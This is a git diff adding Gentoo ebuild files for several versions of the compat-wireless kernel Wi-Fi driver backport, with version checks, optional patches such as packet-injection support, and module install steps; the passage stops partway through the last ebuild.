b/net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild new file mode 100644 index 00000000..cad4a11d --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild @@ -0,0 +1,142 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2-ns" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="arm amd64 x86" +IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride" + +DEPEND="" +RDEPEND=">=sys-kernel/linux-firmware-20110429" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + epause 10 + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + epause 5 + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them + epatch "${FILESDIR}"/force-enable-new-ralink-2.6.38_rc3.patch + + #ath9k_htc ethtool driver fix + epatch "${FILESDIR}"/ath9k_htc_ethtool_driver.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epause 10 + epatch "${FILESDIR}"/ath_ignore_eeprom.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch +# epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load + your needed driver.' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild new file mode 100644 index 00000000..52e85533 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild @@ -0,0 +1,137 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1-sn" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="arm amd64 x86" +IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd noleds tinyversionoverride" + +DEPEND="" +RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 )" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + epause 10 + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + epause 5 + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epause 10 + epatch "${FILESDIR}"/ath_ignore_eeprom.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch +# epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load + your needed driver.' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.0.ebuild b/net-wireless/compat-wireless/compat-wireless-3.0.ebuild new file mode 100644 index 00000000..ce42f2ba --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.0.ebuild @@ -0,0 +1,170 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2).0 +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="arm amd64 x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride" + +DEPEND="" +RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44" + linux_chkconfig_present NET_ETHERNET || die "You need to enable CONFIG_NET_ETHERNET or USE=-b44" + fi +} + +src_prepare() { + epatch "${FILESDIR}"/make-make.patch + + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch +# epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + /usr/sbin/unload.sh + /sbin/udevadm trigger + einfo "Your new modules have been loaded for you, sorry for the network hiccup." + fi + fi + einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild new file mode 100644 index 00000000..88253317 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.1.1.ebuild @@ -0,0 +1,176 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~arm amd64 x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride" + +DEPEND="" +RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system." + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44" + linux_chkconfig_present NET_ETHERNET || die "You need to enable CONFIG_NET_ETHERNET or USE=-b44" + fi +} + +src_prepare() { + epatch "${FILESDIR}"/make-make.patch + + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + #epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #Linville finally stepped in and offered this patch so we are testing it + #epatch "${FILESDIR}"/linville-aircrack-ng.patch + + #johill + epatch "${FILESDIR}"/johill-negone-paul.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch +# epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + /usr/sbin/unload.sh + /sbin/udevadm trigger + einfo "Your new modules have been loaded for you, sorry for the network hiccup." + fi + fi + einfo "If you didn't USE=loadmodules you can still switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild b/net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild new file mode 100644 index 00000000..61952b89 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-3.2.5.ebuild @@ -0,0 +1,176 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="1" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 ~arm x86" +IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride" + +DEPEND="" +RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + virtual/udev" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system." + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44" + linux_chkconfig_present NET_ETHERNET || die "You need to enable CONFIG_NET_ETHERNET or USE=-b44" + fi +} + +src_prepare() { + epatch "${FILESDIR}"/make-make.patch + + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + #epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #Linville finally stepped in and offered this patch so we are testing it + #epatch "${FILESDIR}"/linville-aircrack-ng.patch + + #johill + epatch "${FILESDIR}"/johill-negone-paul.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch +# epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake 